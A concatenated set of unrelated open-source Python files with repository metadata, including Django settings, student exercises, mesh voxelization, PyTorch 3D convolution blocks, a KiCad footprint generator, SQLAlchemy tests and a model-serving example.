'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.11/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.11/howto/static-files/ STATIC_URL = '/static/' import environ env = environ.Env() ALLOWED_HOSTS = ['*'] MIDDLEWARE += ['whitenoise.middleware.WhiteNoiseMiddleware'] DATABASES = { 'default': env.db() } STATIC_ROOT = os.path.join(BASE_DIR, "staticfiles") STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'static') ] STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' LOCAL_APPS = [ 'home', ] THIRD_PARTY_APPS = [ ] INSTALLED_APPS += LOCAL_APPS + THIRD_PARTY_APPS
bd689ff301eace5907505fe34ea81ed7774859e8
27b1d48534a3f35d1286498e84df8333250f51a8
/Exam-Preparation/Mid Exam/treasure_hunt.py
0a7d90b968fe4f26fca2191c7289aa538ed23735
[]
no_license
zhyordanova/Python-Fundamentals
f642f841629c99fcdd12ace79ea813d62972f36f
07c16053e5d03bd7cfb51ace8ef277c2c62cd927
refs/heads/main
2023-03-19T03:05:12.764726
2021-03-15T08:20:39
2021-03-15T08:20:39
345,451,804
0
0
null
null
null
null
UTF-8
Python
false
false
833
py
loot = input().split("|") command = input() while not command == "Yohoho!": tokens = command.split() if tokens[0] == "Loot": items = tokens[1:] [loot.insert(0, x) for x in items if x not in loot] elif tokens[0] == "Drop": index = int(tokens[1]) if 0 <= index < len(loot): # item = loot.pop(index) loot.append(loot.pop(index)) elif tokens[0] == "Steal": count = int(tokens[1]) # if count > len(loot): # count = len(loot) stolen = loot[- count:] loot = loot[:- count] print(', '.join(stolen)) command = input() if len(loot) == 0: print("Failed treasure hunt.") else: average_gain = sum([len(x) for x in loot]) / len(loot) print(f"Average treasure gain: {average_gain:.2f} pirate credits.")
02f1fdb651c4922014a525edd14cf31d10ac08d1
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/320/usersdata/287/88404/submittedfiles/lecker.py
85af5097a574ebcfbb8bd3fd8a186df71506f904
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
359
py
# -*- coding: utf-8 -*- import math a=int(input('Digite o primeiro valor: ')) b=int(input('Digite o segundo valor: ')) c=int(input('Digite o terceiro valor: ')) d=int(input('Digite o quarto valor: ')) A=0 B=0 C=0 D=0 if a>b: A=1 if b>a or b>c: B=1 if c>b or c>d: C=1 if d>c: D=1 lecker=A+B+C+D if lecker==1: print('S') else: print('N')
4e53ec0a5b834c3009372939a3bcc6d387cb6878
9ecf6dfe87999f0c510c1d67e2b1cf6ca5b53e52
/example/voxelize_chair.py
cd739c8722d72501d5c0aedf805d9f26d41f9adc
[ "MIT" ]
permissive
marian42/mesh_to_sdf
b43cdcb87c2845bebc7b928ccacbf0d2c0a9b50d
66036a747e82e7129f6afc74c5325d676a322114
refs/heads/master
2023-04-17T10:23:31.431009
2021-03-11T23:31:12
2021-03-11T23:31:12
234,407,235
847
95
MIT
2023-04-11T16:05:04
2020-01-16T20:37:53
Python
UTF-8
Python
false
false
778
py
import numpy as np from mesh_to_sdf import get_surface_point_cloud, scale_to_unit_sphere import trimesh import skimage, skimage.measure import os mesh = trimesh.load('example/chair.obj') mesh = scale_to_unit_sphere(mesh) print("Scanning...") cloud = get_surface_point_cloud(mesh, surface_point_method='scan', scan_count=20, scan_resolution=400) cloud.show() os.makedirs("test", exist_ok=True) for i, scan in enumerate(cloud.scans): scan.save("test/scan_{:d}.png".format(i)) print("Voxelizing...") voxels = cloud.get_voxels(128, use_depth_buffer=True) print("Creating a mesh using Marching Cubes...") vertices, faces, normals, _ = skimage.measure.marching_cubes(voxels, level=0) mesh = trimesh.Trimesh(vertices=vertices, faces=faces, vertex_normals=normals) mesh.show()
1d06f0506e12e305f72fcf5c58609e5187a954f9
e74e55d174772975a3c16d4aa1210215fa698528
/oim_cms/utils.py
8a04ac90651f889c22066ac36e6cc785af2af1c5
[ "Apache-2.0" ]
permissive
tawazz/oim-cms
2c0417863fef24f3a3b2d75dfdd88d8850b9354d
eef09ef42b20a08ff25f3c4ff12d50db14d54416
refs/heads/master
2021-01-11T01:53:15.879813
2016-10-19T02:24:07
2016-10-19T02:24:07
70,650,009
0
0
null
2016-10-12T01:25:30
2016-10-12T01:25:30
null
UTF-8
Python
false
false
5,063
py
from __future__ import unicode_literals, absolute_import from django.http import HttpResponse from djqscsv import render_to_csv_response from restless.dj import DjangoResource class CSVDjangoResource(DjangoResource): """Extend the restless DjangoResource class to add a CSV export endpoint. """ @classmethod def as_csv(cls, request): resource = cls() if not hasattr(resource, "list_qs"): return HttpResponse( "list_qs not implemented for {}".format(cls.__name__)) resource.request = request return render_to_csv_response( resource.list_qs(), field_order=resource.VALUES_ARGS) class FieldsFormatter(object): """ A formatter object to format specified fields with cofigured formatter object. This takes a ``request`` parameter , a http request object ``formatters`` parameter: a dictionary of keys (a dotted lookup path to the desired attribute/key on the object) and values(a formatter object). for propertis without a configed formatter method, return the raw value directly. This method will replace the old value with formatted value. Example:: preparer = FieldsFormatter(request,fields={ # ``user`` is the key the client will see. # ``author.pk`` is the dotted path lookup ``FieldsPreparer`` # will traverse on the data to return a value. 'photo': format_fileField, }) """ def __init__(self, formatters): super(FieldsFormatter, self).__init__() self._formatters = formatters def format(self, request, data): """ format data with configured formatter object data can be a list or a single object """ if data: if isinstance(data, list): # list object for row in data: self.format_object(request, row) else: # a single object self.format_object(request, data) return data def format_object(self, request, data): """ format a simgle object. Uses the ``lookup_data`` method to traverse dotted paths. Replace the value with formatted value, if required. """ if not self._formatters: # No fields specified. Serialize everything. return data for lookup, formatter in self._formatters.items(): if not formatter: continue data = self.format_data(request, lookup, data, formatter) return data def format_data(self, request, lookup, data, formatter): """ Given a lookup string, attempts to descend through nested data looking for the value ,format the value and then replace the old value with formatted value. Can work with either dictionary-alikes or objects (or any combination of those). Lookups should be a string. If it is a dotted path, it will be split on ``.`` & it will traverse through to find the final value. If not, it will simply attempt to find either a key or attribute of that name & return it. Example:: >>> data = { ... 'type': 'message', ... 'greeting': { ... 'en': 'hello', ... 'fr': 'bonjour', ... 'es': 'hola', ... }, ... 'person': Person( ... name='daniel' ... ) ... } >>> lookup_data('type', data) 'message' >>> lookup_data('greeting.en', data) 'hello' >>> lookup_data('person.name', data) 'daniel' """ parts = lookup.split('.') if not parts or not parts[0]: return formatter(request, data) part = parts[0] remaining_lookup = '.'.join(parts[1:]) if hasattr(data, 'keys') and hasattr(data, '__getitem__'): # Dictionary enough for us. try: value = data[part] if remaining_lookup: # is an object self.format_data( request, remaining_lookup, value, formatter) else: # is a simple type value data[part] = formatter(request, value) except: # format failed, ignore pass else: try: value = getattr(data, part) # Assume it's an object. if remaining_lookup: # is an object self.format_data( request, remaining_lookup, value, formatter) else: # is a simple type value setattr(data, part, formatter(request, value)) except: # format failed, ignore pass return data
f103be505d481cde896fad037384c1a62102c59f
69d93f48410e88e26e9193d63ba29ecb6cbe7324
/models/BasicModule.py
d8e35a9a73ec12065f2b90c0c9182864265cccbd
[]
no_license
JalexDooo/BrainstormTS20-Paper4
825075e63258d98073ecc719209f1162449aa74e
8886ce54c81a51c58ad49de857d025600925be14
refs/heads/main
2023-06-06T22:14:05.480858
2021-07-15T02:31:34
2021-07-15T02:31:34
373,693,324
0
2
null
null
null
null
UTF-8
Python
false
false
10,147
py
import torch import torch.nn as nn class ConvBlock(nn.Module): """ 正卷积 """ def __init__(self, input_data, output_data): super(ConvBlock, self).__init__() self.conv1 = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True) ) self.conv2 = nn.Sequential( nn.Conv3d(output_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True) ) def forward(self, x): x = self.conv1(x) x = self.conv2(x) return x class LConvBlock(nn.Module): """ 正卷积 """ def __init__(self, input_data, output_data): super(LConvBlock, self).__init__() self.conv1 = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data), nn.LeakyReLU(inplace=True) ) self.conv2 = nn.Sequential( nn.Conv3d(output_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data), nn.LeakyReLU(inplace=True) ) def forward(self, x): x = self.conv1(x) x = self.conv2(x) return x class ConvTransBlock(nn.Module): def __init__(self, input_data, output_data): super(ConvTransBlock, self).__init__() self.conv1 = nn.Sequential( nn.ConvTranspose3d(input_data, output_data, kernel_size=3, stride=2, padding=1, output_padding=1, dilation=1), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True), ) def forward(self, x): x = self.conv1(x) return x class UpBlock(nn.Module): def __init__(self, input_data, output_data): super(UpBlock, self).__init__() self.up = ConvTransBlock(input_data, output_data) self.down = ConvBlock(2*output_data, output_data) def forward(self, x, down_features): x = self.up(x) x = torch.cat([x, down_features], dim=1) # 横向拼接 x = self.down(x) return x def maxpool(): pool = nn.MaxPool3d(kernel_size=2, stride=2, padding=0) return pool class SingleConvBlock(nn.Module): """ 正卷积 """ def __init__(self, input_data, output_data): super(SingleConvBlock, self).__init__() self.conv = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=3, stride=2, padding=1), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True) ) def forward(self, x): x = self.conv(x) return x class SingleTransConvBlock(nn.Module): def __init__(self, input_data, output_data, stride=2): super(SingleTransConvBlock, self).__init__() self.conv = nn.Sequential( nn.ConvTranspose3d(input_data, output_data, kernel_size=3, stride=stride, padding=1, output_padding=1, dilation=1), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True), ) def forward(self, x): x = self.conv(x) return x class ConvBlockWithKernel3(nn.Module): def __init__(self, input_data, output_data): super(ConvBlockWithKernel3, self).__init__() self.conv = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data), nn.RReLU(lower=0.125, upper=1.0/3, inplace=True), nn.Conv3d(output_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data), nn.RReLU(lower=0.125, upper=1.0/3, inplace=True) # nn.ReLU(inplace=True) ) def forward(self, x): x = self.conv(x) return x class ConvBlockWithKernel5(nn.Module): def __init__(self, input_data, output_data): super(ConvBlockWithKernel5, self).__init__() self.conv = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=5, stride=1, padding=2), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True) ) def forward(self, x): x = self.conv(x) return x class ConvBlockWithKernel7(nn.Module): def __init__(self, input_data, output_data): super(ConvBlockWithKernel7, self).__init__() self.conv = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=7, stride=1, padding=3), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True) ) def forward(self, x): x = self.conv(x) return x class DoubleScaleUnit(nn.Module): def __init__(self, input_data, output_data): super(DoubleScaleUnit, self).__init__() self.weight1 = nn.Parameter(torch.ones(1)) self.weight2 = nn.Parameter(torch.ones(1)) self.conv = nn.ModuleList() self.conv.append(ConvBlockWithKernel3(input_data, output_data)) self.conv.append(ConvBlockWithKernel5(input_data, output_data)) def forward(self, x): x = self.weight1*self.conv[0](x) + self.weight2*self.conv[1](x) return x class DilationConvBlock(nn.Module): def __init__(self, in_channels, out_channels): super(DilationConvBlock, self).__init__() self.conv = nn.Sequential( nn.Conv3d(in_channels, out_channels, kernel_size=3, stride=1, dilation=2, padding=2), nn.BatchNorm3d(out_channels), nn.RReLU(lower=0.125, upper=1.0 / 3, inplace=True), nn.Conv3d(out_channels, out_channels, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(out_channels), nn.RReLU(lower=0.125, upper=1.0 / 3, inplace=True) ) def forward(self, x): x = self.conv(x) return x class TransConvBlock(nn.Module): def __init__(self, input_data, output_data, stride=2): super(TransConvBlock, self).__init__() self.conv = nn.Sequential( nn.ConvTranspose3d(input_data, output_data, kernel_size=3, stride=stride, padding=1, output_padding=stride-1, dilation=1), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True) ) def forward(self, x): x = self.conv(x) return x class FullResBlock(nn.Module): def __init__(self, input_data, output_data, stride=2): super(FullResBlock, self).__init__() self.resblock = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=3, stride=stride, padding=1), nn.BatchNorm3d(output_data), nn.ReLU(inplace=True), nn.Conv3d(output_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data) ) self.conv = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=3, stride=stride, padding=1), nn.BatchNorm3d(output_data) ) self.relu = nn.ReLU(inplace=True) def forward(self, x): res = self.resblock(x) x = self.conv(x) x += res x = self.relu(x) return x class NewResBlock(nn.Module): def __init__(self, input_data, output_data): super(NewResBlock, self).__init__() self.resblock = nn.Sequential( nn.BatchNorm3d(input_data), nn.RReLU(lower=0.125, upper=1.0/3, inplace=True), nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data), nn.RReLU(lower=0.125, upper=1.0 / 3, inplace=True), nn.Conv3d(output_data, output_data, kernel_size=3, stride=1, padding=1) ) self.conv = nn.Sequential( nn.BatchNorm3d(input_data), nn.RReLU(lower=0.125, upper=1.0 / 3, inplace=True), nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1) ) def forward(self, x): res = self.resblock(x) x = self.conv(x) x += res return x class NewConvDown(nn.Module): def __init__(self, input_data, output_data, stride=2): super(NewConvDown, self).__init__() self.conv = nn.Conv3d(input_data, output_data, kernel_size=3, stride=stride, padding=1) def forward(self, x): x = self.conv(x) return x class NewConvUp(nn.Module): def __init__(self, input_data, output_data, stride=2): super(NewConvUp, self).__init__() self.conv = nn.ConvTranspose3d(input_data, output_data, kernel_size=3, stride=stride, padding=1, output_padding=1, dilation=1) def forward(self, x): x = self.conv(x) return x class OutConv(nn.Module): def __init__(self, input_data, output_data): super(OutConv, self).__init__() self.conv = nn.Sequential( nn.BatchNorm3d(input_data), nn.RReLU(lower=0.125, upper=1.0 / 3, inplace=True), nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1) ) def forward(self, x): x = self.conv(x) return x class NewResUnet_ResBlock1(nn.Module): def __init__(self, input_data, output_data): super(NewResUnet_ResBlock1, self).__init__() self.resblock = nn.Sequential( nn.BatchNorm3d(input_data), nn.RReLU(lower=0.125, upper=1.0 / 3, inplace=True), nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1), nn.BatchNorm3d(output_data), nn.RReLU(lower=0.125, upper=1.0 / 3, inplace=True), nn.Conv3d(output_data, output_data, kernel_size=3, stride=1, padding=1) ) self.conv = nn.Sequential( nn.BatchNorm3d(input_data), nn.RReLU(lower=0.125, upper=1.0 / 3, inplace=True), nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1) ) def forward(self, x): res = self.resblock(x) x = self.conv(x) x += res return x
607a3c53f503aaa66c8d67493bd4f30be15d4b1a
ec09932ef977bb0f9117193c3200b0807c588542
/unreleased/azure-mgmt-search/azure/mgmt/search/models/check_name_availability_input.py
581958b5b33330d131bc6863bc2e77ec646619c6
[ "MIT" ]
permissive
biggorog/azure-sdk-for-python
26b9111f5d939e68374e2ff92dd5a3e127100a49
31e15670100f57a03aac9ada5fd83eedc230e291
refs/heads/master
2020-12-24T11:37:13.806672
2016-11-04T20:50:04
2016-11-04T20:50:04
73,026,650
1
0
null
2016-11-06T23:48:38
2016-11-06T23:48:37
null
UTF-8
Python
false
false
1,522
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class CheckNameAvailabilityInput(Model): """Input of check name availability API. Variables are only populated by the server, and will be ignored when sending a request. :param name: The Search service name to validate. Search service names must only contain lowercase letters, digits or dashes, cannot use dash as the first two or last one characters, cannot contain consecutive dashes, and must be between 2 and 60 characters in length. :type name: str :ivar type: The type of the resource whose name is to be validated. This value must always be 'searchServices'. Default value: "searchServices" . :vartype type: str """ _validation = { 'name': {'required': True}, 'type': {'required': True, 'constant': True}, } _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, } type = "searchServices" def __init__(self, name): self.name = name
9773cad5194ddefe461acc4a4d927159764b2b90
fd0c7c10303ce93590af1a03ecf0fc272a396ade
/scripts/build_mod_picoblade.py
b761e0377b2d3ff3f37ea708c4f493ef48e2d744
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
adamgreig/agg-kicad
13eae98991a266955cac434ba9f43b69b1d5dbd5
5bf13b52fcacf7aedbacb884e0884819083a3bb7
refs/heads/master
2023-02-04T12:25:03.905819
2023-02-02T02:01:10
2023-02-02T02:01:10
45,762,615
157
52
MIT
2022-07-19T12:39:05
2015-11-08T01:42:57
Python
UTF-8
Python
false
false
5,989
py
""" build_mod_picoblade.py Copyright 2019 Adam Greig Licensed under the MIT licence, see LICENSE file for details. Generate foorprints for Molex Picoblade connectors. """ from __future__ import print_function, division import os import sys import time import math import argparse from sexp import parse as sexp_parse, generate as sexp_generate from kicad_mod import fp_line, fp_text, pad, draw_square, model # Settings ==================================================================== # Courtyard clearance # Use 0.25 for IPC nominal and 0.10 for IPC least ctyd_gap = 0.25 # Courtyard grid ctyd_grid = 0.05 # Courtyard line width ctyd_width = 0.01 # Silk line width silk_width = 0.15 # Fab layer line width fab_width = 0.01 # Ref/Val font size (width x height) font_size = (1.0, 1.0) # Ref/Val font thickness font_thickness = 0.15 # Ref/Val font spacing from centre to top/bottom edge font_halfheight = 0.7 # End Settings ================================================================ def top_smd_refs(name): out = [] ctyd_h = 3.0 + 0.6 + 1.3 + 2*ctyd_gap ctyd_y = ctyd_h/2 - 1.3/2 - ctyd_gap y = ctyd_h / 2.0 + font_halfheight out.append(fp_text("reference", "REF**", (0, -y+ctyd_y), "F.Fab", font_size, font_thickness)) out.append(fp_text("value", name, (0, y+ctyd_y), "F.Fab", font_size, font_thickness)) return out def top_smd_pads(pins): x = -(pins-1)/2 * 1.25 pads = [] for pin in range(pins): pads.append(pad(pin+1, "smd", "rect", (x, 0), [0.8, 1.3], ["F.Cu", "F.Mask", "F.Paste"])) x += 1.25 return pads def top_smd_mount(pins): x = -(pins-1)/2 * 1.25 - 3.6 + 2.1/2 out = [] for xx in (x, -x): out.append(pad("", "smd", "rect", (xx, 0.6+3.0/2+1.3/2), (2.1, 3.0), ["F.Cu", "F.Mask", "F.Paste"])) return out def top_smd_silk(pins): out = [] w = silk_width lyr = "F.SilkS" box_w = (pins-1)*1.25 + 2*3.6 - 2*2.1 - silk_width box_h = 3.5 # XXX box_y = box_h/2 + 0.2 nw, ne, se, sw, _ = draw_square(box_w, box_h, (0, box_y), lyr, w) out.append(fp_line((nw[0]+0.8, nw[1]), nw, lyr, w)) out.append(fp_line(nw, sw, lyr, w)) out.append(fp_line(sw, se, lyr, w)) out.append(fp_line(se, ne, lyr, w)) out.append(fp_line((ne[0]-0.8, ne[1]), ne, lyr, w)) return out def top_smd_fab(pins): out = [] w = fab_width lyr = "F.Fab" # Outline box box_w = (pins-1)*1.25 + 2*3.6 - 2*2.1 box_h = 3.5 # XXX box_y = box_h/2 + 0.2 nw, ne, se, sw, sq = draw_square(box_w, box_h, (0, box_y), lyr, w) out += sq # Mounting pins _, _, _, _, sq = draw_square(1.8, 2.8, (nw[0]-1.8/2, sw[1]-2.8/2), lyr, w) out += sq _, _, _, _, sq = draw_square(1.8, 2.8, (ne[0]+1.8/2, sw[1]-2.8/2), lyr, w) out += sq # Connector pins x = -(pins-1)/2 * 1.25 for pin in range(pins): _, _, _, _, sq = draw_square(0.32, 0.6, (x, 2.6), lyr, w) out += sq x += 1.25 return out def top_smd_ctyd(pins): w = 1.25*(pins-1) + 2*3.6 + 2*ctyd_gap h = 3.0 + 0.6 + 1.3 + 2*ctyd_gap grid = 2 * ctyd_grid w = grid * int(math.ceil(w / (2*ctyd_grid))) h = grid * int(math.ceil(h / (2*ctyd_grid))) y = h/2 - 1.3/2 - ctyd_gap centre = (0, y) _, _, _, _, sq = draw_square(w, h, centre, "F.CrtYd", ctyd_width) return sq def top_smd_model(pins): return [ model( "${KISYS3DMOD}/Connector_Molex.3dshapes/" + "Molex_PicoBlade_53398-{:02d}71_1x{:02d}".format(pins, pins) + "-1MP_P1.25mm_Vertical.step", (0, -1.3/25.4, 0), (1, 1, 1), (0, 0, 0))] def top_smd_fp(pins): name = "MOLEX-PICOBLADE-53398-{:02d}71".format(pins) tedit = format(int(time.time()), 'X') sexp = ["module", name, ("layer", "F.Cu"), ("tedit", tedit)] sexp += [["attr", "smd"]] sexp += top_smd_refs(name) sexp += top_smd_silk(pins) sexp += top_smd_fab(pins) sexp += top_smd_ctyd(pins) sexp += top_smd_mount(pins) sexp += top_smd_pads(pins) sexp += top_smd_model(pins) return name, sexp_generate(sexp) def main(prettypath, verify=False, verbose=False): for pins in range(2, 15): for generator in (top_smd_fp,): # Generate the footprint name, fp = generator(pins) path = os.path.join(prettypath, name + ".kicad_mod") if verify and verbose: print("Verifying", path) # Check if the file already exists and isn't changed if os.path.isfile(path): with open(path) as f: old = f.read() old = [n for n in sexp_parse(old) if n[0] != "tedit"] new = [n for n in sexp_parse(fp) if n[0] != "tedit"] if new == old: continue # If not, either verification failed or we should output the new fp if verify: return False else: with open(path, "w") as f: f.write(fp) # If we finished and didn't return yet, verification has succeeded if verify: return True if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("prettypath", type=str, help="Path to footprints to process") parser.add_argument("--verify", action="store_true", help="Verify libraries are up to date") parser.add_argument("--verbose", action="store_true", help="Print out every library verified") args = vars(parser.parse_args()) result = main(**args) if args['verify']: if result: print("OK: all footprints up-to-date.") sys.exit(0) else: print("Error: footprints not up-to-date.", file=sys.stderr) sys.exit(1)
0c4bd2476662725bc512930b35d9f2125533ec69
ce083128fa87ca86c65059893aa8882d088461f5
/python/sistema-de-medicamentos-pytest/.venv/lib/python2.7/site-packages/tests/test_sort_query.py
3e14b9edc323ac1925cc4a9556e6985ce77414d7
[]
no_license
marcosptf/fedora
581a446e7f81d8ae9a260eafb92814bc486ee077
359db63ff1fa79696b7bc803bcfa0042bff8ab44
refs/heads/master
2023-04-06T14:53:40.378260
2023-03-26T00:47:52
2023-03-26T00:47:52
26,059,824
6
5
null
2022-12-08T00:43:21
2014-11-01T18:48:56
null
UTF-8
Python
false
false
5,669
py
from pytest import raises import sqlalchemy as sa from sqlalchemy_utils import sort_query from sqlalchemy_utils.functions import QuerySorterException from tests import TestCase class TestSortQuery(TestCase): def test_without_sort_param_returns_the_query_object_untouched(self): query = self.session.query(self.Article) sorted_query = sort_query(query, '') assert query == sorted_query def test_column_ascending(self): query = sort_query(self.session.query(self.Article), 'name') assert 'ORDER BY article.name ASC' in str(query) def test_column_descending(self): query = sort_query(self.session.query(self.Article), '-name') assert 'ORDER BY article.name DESC' in str(query) def test_skips_unknown_columns(self): query = self.session.query(self.Article) sorted_query = sort_query(query, '-unknown') assert query == sorted_query def test_non_silent_mode(self): query = self.session.query(self.Article) with raises(QuerySorterException): sort_query(query, '-unknown', silent=False) def test_join(self): query = ( self.session.query(self.Article) .join(self.Article.category) ) query = sort_query(query, 'name', silent=False) assert 'ORDER BY article.name ASC' in str(query) def test_calculated_value_ascending(self): query = self.session.query( self.Category, sa.func.count(self.Article.id).label('articles') ) query = sort_query(query, 'articles') assert 'ORDER BY articles ASC' in str(query) def test_calculated_value_descending(self): query = self.session.query( self.Category, sa.func.count(self.Article.id).label('articles') ) query = sort_query(query, '-articles') assert 'ORDER BY articles DESC' in str(query) def test_subqueried_scalar(self): article_count = ( sa.sql.select( [sa.func.count(self.Article.id)], from_obj=[self.Article.__table__] ) .where(self.Article.category_id == self.Category.id) .correlate(self.Category.__table__) ) query = self.session.query( self.Category, article_count.label('articles') ) query = sort_query(query, '-articles') assert 'ORDER BY articles DESC' in str(query) def test_aliased_joined_entity(self): alias = sa.orm.aliased(self.Category, name='categories') query = self.session.query( self.Article ).join( alias, self.Article.category ) query = sort_query(query, '-categories-name') assert 'ORDER BY categories.name DESC' in str(query) def test_joined_table_column(self): query = self.session.query(self.Article).join(self.Article.category) sorted_query = sort_query(query, 'category-name') assert 'category.name ASC' in str(sorted_query) def test_multiple_columns(self): query = self.session.query(self.Article) sorted_query = sort_query(query, 'name', 'id') assert 'article.name ASC, article.id ASC' in str(sorted_query) def test_column_property(self): self.Category.article_count = sa.orm.column_property( sa.select([sa.func.count(self.Article.id)]) .where(self.Article.category_id == self.Category.id) .label('article_count') ) query = self.session.query(self.Category) sorted_query = sort_query(query, 'article_count') assert 'article_count ASC' in str(sorted_query) def test_column_property_descending(self): self.Category.article_count = sa.orm.column_property( sa.select([sa.func.count(self.Article.id)]) .where(self.Article.category_id == self.Category.id) .label('article_count') ) query = self.session.query(self.Category) sorted_query = sort_query(query, '-article_count') assert 'article_count DESC' in str(sorted_query) def test_relationship_property(self): query = self.session.query(self.Category) query = sort_query(query, 'articles') assert 'ORDER BY' not in str(query) def test_hybrid_property(self): query = self.session.query(self.Category) query = sort_query(query, 'articles_count') assert 'ORDER BY (SELECT count(article.id) AS count_1' in str(query) def test_hybrid_property_descending(self): query = self.session.query(self.Category) query = sort_query(query, '-articles_count') assert ( 'ORDER BY (SELECT count(article.id) AS count_1' ) in str(query) assert ' DESC' in str(query) def test_relation_hybrid_property(self): query = ( self.session.query(self.Article) .join(self.Article.category) .correlate(self.Article.__table__) ) query = sort_query(query, '-category-articles_count') assert 'ORDER BY (SELECT count(article.id) AS count_1' in str(query) def test_aliased_hybrid_property(self): alias = sa.orm.aliased( self.Category, name='categories' ) query = ( self.session.query(self.Article) .outerjoin(alias, self.Article.category) .options( sa.orm.contains_eager(self.Article.category, alias=alias) ) ) query = sort_query(query, '-categories-articles_count') assert 'ORDER BY (SELECT count(article.id) AS count_1' in str(query)
8016219e342f85c4bd7d288538db7b88088d5f0d
abfc3a43aabace5afd55910279af61e5849963a2
/examples/app.py
b8b9796f6f16a785768f50131c482e0d9b5467e7
[]
no_license
kemingy/ventu
6b89c70222e961ef8bd52a6c3a1816edde664d8c
4a13f9c212c3d468de7ad234d036870857ae7499
refs/heads/master
2023-08-17T04:45:34.643958
2021-10-06T12:48:47
2021-10-06T12:48:47
249,647,511
8
0
null
2020-06-29T04:13:36
2020-03-24T08:03:45
Python
UTF-8
Python
false
false
3,203
py
import argparse import logging import numpy as np import torch from pydantic import BaseModel, confloat, constr from transformers import DistilBertTokenizer, DistilBertForSequenceClassification from ventu import Ventu # request schema used for validation class Req(BaseModel): # the input sentence should be at least 2 characters text: constr(min_length=2) class Config: # examples used for health check and warm-up schema_extra = { 'example': {'text': 'my cat is very cut'}, 'batch_size': 16, } # response schema used for validation class Resp(BaseModel): positive: confloat(ge=0, le=1) negative: confloat(ge=0, le=1) class ModelInference(Ventu): def __init__(self, *args, **kwargs): # initialize super class with request & response schema, configs super().__init__(*args, **kwargs) # initialize model and other tools self.tokenizer = DistilBertTokenizer.from_pretrained( 'distilbert-base-uncased') self.model = DistilBertForSequenceClassification.from_pretrained( 'distilbert-base-uncased-finetuned-sst-2-english') def preprocess(self, data: Req): # preprocess a request data (as defined in the request schema) tokens = self.tokenizer.encode(data.text, add_special_tokens=True) return tokens def batch_inference(self, data): # batch inference is used in `socket` mode data = [torch.tensor(token) for token in data] with torch.no_grad(): result = self.model(torch.nn.utils.rnn.pad_sequence(data, batch_first=True))[0] return result.numpy() def inference(self, data): # inference is used in `http` mode with torch.no_grad(): result = self.model(torch.tensor(data).unsqueeze(0))[0] return result.numpy()[0] def postprocess(self, data): # postprocess a response data (returned data as defined in the response schema) scores = (np.exp(data) / np.exp(data).sum(-1, keepdims=True)).tolist() return {'negative': scores[0], 'positive': scores[1]} def create_model(): logger = logging.getLogger() formatter = logging.Formatter( fmt='%(asctime)s - %(levelname)s - %(module)s - %(message)s') handler = logging.StreamHandler() handler.setFormatter(formatter) logger.setLevel(logging.DEBUG) logger.addHandler(handler) model = ModelInference(Req, Resp, use_msgpack=True) return model def create_app(): """for gunicorn""" return create_model().app if __name__ == "__main__": parser = argparse.ArgumentParser(description='Ventu service') parser.add_argument('--mode', '-m', default='http', choices=('http', 'unix', 'tcp')) parser.add_argument('--host', default='localhost') parser.add_argument('--port', '-p', default=8080, type=int) parser.add_argument('--socket', '-s', default='batching.socket') args = parser.parse_args() model = create_model() if args.mode == 'unix': model.run_unix(args.socket) elif args.mode == 'tcp': model.run_tcp(args.host, args.port) else: model.run_http(args.host, args.port)
5d1bedf2cbaa792dbc6e79da13882ee28ac23f02
